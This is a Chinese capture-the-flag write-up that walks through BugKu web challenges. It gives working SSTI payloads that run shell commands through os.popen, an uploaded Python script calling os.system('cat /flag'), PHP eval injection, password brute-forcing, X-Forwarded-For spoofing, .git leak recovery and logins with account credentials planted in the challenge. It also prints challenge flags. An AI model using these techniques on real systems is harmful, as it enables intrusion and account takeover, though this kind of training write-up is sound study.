BugKu的平台web专区
Simple_SSTI_1
根据题目名得知为简单服务器模板注入。
服务器端模板注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。
详情可以参考:SSTI( 服务器模板注入)以及常见利用方式
打开环境得知需要传入一个名为 flag 的参数,再 F12 看一下,flag在secret_key
下。
flask
:是由python实现的一种微web框架
SECRET_KEY
:flask中的一种配置属性,flask涉及安全的东西需要用SECRET_KEY密钥进行加密。
在 url 后面增加==/?flag={{config.SECRET_KEY}}==就行,可以顺利得到 flag 。
Simple_SSTI_2
打开环境显示如下:
测一下模板注入是否回显:
正常回显,说明存在模板注入漏洞,手工测试一下:
==payload:?flag={ {''.class.mro}}==
__class__
是返回类型所属的对象,==''.class==这一步就是为了获取字符串的类对象
__mro__
属性会输出当前对象所调用的全部类包括其父类
__subclasses__属性
会输出该类下所有的子类
__base__
返回该对象所继承的基类
__init__
类的初始化方法
__globals__
对包含函数全局变量的字典的引用
ls 查看一下:
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
再查看一下 flag 位置:
?flag={{ config.__class__.__init__.__globals__['os'].popen('find / -name flag').read() }}
cat 一下 flag:
?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }}
得到 flag。
==PS:这里介绍一个SSTl漏洞的扫描利用工具tplmap==
详情可以看 https://github.com/epinna/tplmap
Flask_FileUpload
根据题目提示是一个文件上传
:
可以看出,写一个脚本上传,就会返回脚本执行结果,但是只能上传.jpg或.png
文件。
import os
os.system('cat /flag')
上传:
得到 flag
滑稽
滑稽????
李大铺了属于是。打开环境:
还真是滑稽。。。。F12 看一下:
好家伙,get flag:
计算器
打开环境,可以看到:
答案不就是 91 吗?就这?
裂开了,只能输入一个数字。。。。
F12 看到只能输入一个数字,修改一下试试:
nice,搞到 flag 了!
GET
打开环境:
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
代码审计一下,需要 get 发送一个 flag 就行了。
提交 flag 就行了!
POST
打开环境可知:
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
代码审计一下,可知以 POST 方法传递一个 flag 参数就能得到 flag。
借助 hackbar
插件提交post
参数得到 flag。
矛盾
打开环境可以看到:
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
题目要求以 GET 方式提交一个参数,参数不能为数字且为1,考察的是 php 弱类型,随便构造一个就行了,拼接字符串、公式等都行。
顺利得到flag。
打开环境:
无法右键,但是 F12
和 Ctrl+U
可以使用。
可以看到源代码:
<html>
<head>
<title>BKCTF-WEB6</title>
<script language="javascript">
alert("flag就在这里");
alert("来找找吧");
<!-- flag{0c4ea16cf914e2bc6803746fa2d8fd9e} --></script>
</head>
</html>
很明显最后一段的编码与 flag 有关,使用Unicode编码转换- 站长工具将 Unicode 转 ASCII。
当然也可以直接将编码放到一个html文件,用浏览器打开也可以。
你必须让他停下
打开环境,发现网页不停的在刷新:
查看一下源码:
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>
</head>
<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500);
</script>
<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="12.jpg" /></div></center><br><a style="display:none">flag is here~</a></body>
</html>
打开burpsuite
,拦包:
发送到重发器:
不断的重发,观察返回:
当 src =“10.jpg”
时,得到 flag,有点拼运气和眼力。
这里有个小插曲,得到 flag 以后记得关掉代理。
社工-初步收集
打开环境:
啥情况???好在之后打开环境的时候成功了,不然我还以为环境坏掉了。
查看源代码:
<!DOCTYPE HTML>
<html>
<head>
<title>小bug刷钻官网 - 一件刷钻</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
<!--关键词-->
<meta name="keywords" content="bugku,ctf,刷钻">
<!--描述-->
<meta name="description" content="国内首屈一指的刷钻软件">
<link rel="stylesheet" href="static/css/main.css">
<noscript><link rel="stylesheet" href="https://csgodouyu.com/assets%09/css/noscript.css"></noscript>
</head>
<body class="is-preload">
<section id="banner">
<div class="inner">
<div class="logo"><span class="icon fa-gem"></span></div>
<h2>小bug刷钻官网</h2>
<p>简单易用但功能多样强大的内部辅助<a href="">.</a><br>只为带给您更好的游戏体验。</p>
<a href="#goumai" target="_blank" class="special">购买辅助</a>
<a href="#" class="special">小号购买</a>
<a href="http://wpa.qq.com/msgrd?v=3&uin=123456&site=qq&menu=yes" class="special">联系客服</a>
<a href="shiyongjiaocheng.php" class="special">使用教程</a>
</div>
</section>
<!--音乐代码开始-->
<!--音乐代码结束-->
<!-- Wrapper -->
<section id="wrapper">
<!-- One -->
<!-- Three -->
</section>
<!-- Four -->
<section id="four" class="wrapper alt style1">
<div class="inner">
<h2 class="major" id="goumai">购买辅助/商品介绍</h2>
<section class="features">
<article>
<a href="#" class="image"><img src="static/picture/1.jpg " alt=""></a>
<h3 class="major">刷钻</h3>
<p>功能列表:一键刷钻</p>
<p>支持系统:Win7 / Win8 / Win10</p>
<p>稳定指数:100%</p>
<p>注意事项:此网站所有内容为bugku题目环境,仅用于答题。</p>
<p>辅助价格:免费</p>
<a href="#" class="special">购买辅助</a>
<a href="/sz.zip" class="special">下载辅助</a>
</article>
</section>
</div>
</section>
</section>
<ul class="contact">
<li class="icon solid fa-home">
客服QQ:123456<br>
今日已完成!上架的均稳定奔放! </li>
</ul>
</section>
</div>
<!-- Scripts -->
<script src="static/js/jquery.min.js"></script>
<script src="static/js/jquery.scrollex.min.js"></script>
<script src="static/js/browser.min.js"></script>
<script src="static/js/breakpoints.min.js"></script>
<script src="static/js/util.js"></script>
<script src="static/js/main.js"></script>
<!--知音开始-->
<style>
.music {
position: fixed!important;
position: absolute;
width: 90px;
height: 95px;
z-index: 9;
right: 0;
bottom: 0;
top: expression(offsetParent.scrollTop+offsetParent.clientHeight-150);
cursor: pointer;
}
</style>
<div id="audio" class="music">
<img src="http://ku.oioweb.cn/img/weimusic1.gif" width="100px" height="100px" id="d" onclick="c();">
</div>
</style>
<!--知音结束-->
<script src="//lib.baomitu.com/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
<script src="https://yzf.qq.com/xv/web/static/chat_sdk/yzf_chat.min.js"></script>
</body>
</html>
检查无果,目录扫描一下:
查到了敏感目录,试着输入浏览器看一下,还真有:
可以找到一个辅助软件,下载下来看看有没有什么发现:
打开看一下:
炸裂,弹完窗发现没啥用,害。
没办法了,看师傅们的wp才知道需要抓包,没办法了,只能抓包了,抓到如下内容:
==PS:wireshark抓包前,选项内用Wi-Fi的时候就设置成WLAN,不是Wi-Fi就设置成本地,然后打开软件。==
一看就是base64编码,解密一下:
这样就得到了账号密码:
账号:bugkuku@163.com
密码:XSLROCPMNWWZQDZL
登录一下看看有没有什么发现:
登录失败了。。。。那试试foxmail
。
然后就是疯狂的翻找邮件,可惜一无所获。
最终在已删除邮件里找到了账号密码,阿西吧。
451806289----WANGJUAN765620
拿账号密码登录。。。。。感觉自己被搞了,可恶!!
担心漏掉了,再找一遍,垃圾邮箱里面找到了这个:
这也没用啊,估计是哪个狗贼把删掉了,试试师傅wp里面的账号密码:
没啥好说的,就这样吧。。。。进入后台以后:
在网站信息>网站设置里面找到了flag!
成功!!!
最后不忘重新发一份正确的到邮箱草稿里,避免以后的人踩坑!
over!
game1
打开环境,发现是一款游戏,尝试玩一下
差点忘记正事,先看下源码,太长了,它还没给出具体要求,不过一看这题目想通过玩游戏获取flag肯定不太显示。
F12看一下:
也是相当的繁琐,不过看wp,有的师傅会直接找 sign,不知道是为啥,经验?
我做的时候第一反应只能抓包了,然后把分数设置高点,let's go!
随便玩一下,然后抓包:
发送到重发器内:
将分数设置成了99999
都失败了,这不符合常理,肯定是有别的验证,重抓一次对比一下:
对比可知,sign
值随着score
一起变化,在源码内ctrl+F
检索一下sign
,发现:
sign 是经历了base64编码的,将 sign 在线转码一下发现:
一目了然,sign的形式就是:==sign="zM"+Base64(score)+"\=\="==
成功获得 flag!nice!
网站被黑
一看题目,猜测题目和后门有关,搜到一个后门检测工具findWebshell,突然想试试,打开环境:
这玩意做的太tm好看了,爱了爱了,使用工具结果失败了,害。
不慌,那就按部就班做吧!
扫描一下:
快乐就是这么简单?????自然而然
随意试了一下password
、123456
等弱密码,结果错误。
使用 burpsuit 自带的 Passwords 进行爆破,得到密码:
密码就是:==hack==
得到 flag!
本地管理员
打开环境,可以得到:
查看源码:
下面那一排很长的字符最后:
当然,使用 F12 也可以。
大概率是 Base64 ,在线解密一下:
猜一下,使用test123
作为密码,admin作为账号或其他:
多次尝试无果,想到联系本地管理员这句话。。。。抓个包看看!
伪装成本地访问???没有看到XFF
,那就自己添加一个试试!
正常是这样的:
添加XFF
以后是这样的:
得到 flag。
bp
打开环境:
看到题目可以猜到密码以z开头的且与top1000有关,可以想到:
- 密码在 top1000 内,且以 z 开头。
- 密码以 z 开头,且包括 top1000。
先找一下这个top1000
,在网上到处都可以找得到,找到以后使用bp爆破一下,无果:
以 z 开头,尝试仍然无果,猜测可能存在 flag 的返回与正常返回是一样长度的,启用筛选工具:
查到密码就是==zxc123==
得到 flag:(直接在返回里面看也可以)
eval
打开环境:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
- include包含的文件和本源码在同一路径
- $request可用与接受get和post的传递的参数
- eval函数可以把字符串作为php命令执行
- file() 函数把整个文件读入一个数组中。
- ==file_get_contents(path,include_path,context,start,max_length)==
代码审计一下,输入==/?hello=file('flag.php')==获取 flag。
变量1
打开环境:
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
代码审计一下,看到 flag 在变量里面,且对于 if 里的正则表达式"/^w+$/"
^
表示开始字符串$
表示结束字符串w
表示包含【a-z,A-Z, _ , 0-9】
- `
+
表示一个或者多个w
最后看到这里有一个var_dump($$args)
,这是可变变量的意思,如\$args的值是另一个变量的变量名。那么$$args就代表另一个变量。
使用全局变量进行尝试构造:==/?args\={}==
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们,这些超全局变量是:
头等舱
打开环境:
查看一下源码:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<pre><br><br><br><br>什么也没有。<br><br>
</html>
还真没有,F12看一下,练习题目猜测和请求头或返回头有关:
找到 flag。
社工-伪造
打开环境,
随便输入一串数字进去:
随便聊下试试:
好家伙,上面有一条空间:
发现他男朋友的 qq 名字小bug
,但是随意输入的qq在聊天室内无法更改个人信息,猜想得用真实的qq登录,因为登录只需要qq号:
然后用他的qq登录,得到flag。
source
打开环境:
查看源代码:
<html>
<head>
<body>
<p>Hello,world!<p>
<p>This is my friend :<!--tig--></p>
<!--flag{Zmxhz19ub3RfaGvyzSEHIQ==}-->
</body>
</head>
</html>
??????说好的linux呢????
flag里面的大概率是base64
,解码一下:
┌──(kali㉿kali)-[~]
└─$ echo Zmxhz19ub3RfaGvyzSEHIQ== | base64 --decode
fla�_not_hk��!!
在线解码也有乱码,这个大概率是假的,另找吧。
F12看一下,可惜没找到什么有价值的线索,那就 kali linux 扫一下吧。
幸福就是这么突然吗?
真狗啊,还不是。。。那估计就是 git 泄露了,使用scrabble
,githack
或者直接浏览器搞也可以。
git reflog
git show d256328
git show 13ce8d0
git show fdce35e
git show e0b8e8e
git show 40c6d51
git show fdce35e
git show d256328
git show e0b8e8e
最终可以找到 flag。
快速复现:
┌──(kali㉿kali)-[~/Desktop]
└─$ wget -r http://114.67.175.224:14896/.git
(省略,太多了)
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
114.67.175.224:14896
┌──(kali㉿kali)-[~/Desktop]
└─$ cd 114.67.175.224:14896
┌──(kali㉿kali)-[~/Desktop/114.67.175.224:14896]
└─$ git reflog
d256328 (HEAD -> master) HEAD@{0}: reset: moving to d25632
13ce8d0 HEAD@{1}: commit: flag is here?
fdce35e HEAD@{2}: reset: moving to fdce35e
e0b8e8e HEAD@{3}: reset: moving to e0b8e
40c6d51 HEAD@{4}: commit: flag is here?
fdce35e HEAD@{5}: commit: flag is here?
d256328 (HEAD -> master) HEAD@{6}: commit: flag is here?
e0b8e8e HEAD@{7}: commit (initial): this is index.html
┌──(kali㉿kali)-[~/Desktop/114.67.175.224:14896]
└─$ git show 40c6d51
commit 40c6d51b81775a1590c1b051d9562222e41c4741
Author: vFREE <flag@flag.com>
Date: Sun Jan 17 20:34:43 2021 +0800
flag is here?
diff --git a/flag.txt b/flag.txt
index aa6f6dc..726e5d1 100644
--- a/flag.txt
+++ b/flag.txt
@@ -1 +1 @@
-flag{nonono}
+flag{git_is_good_distributed_version_control_system}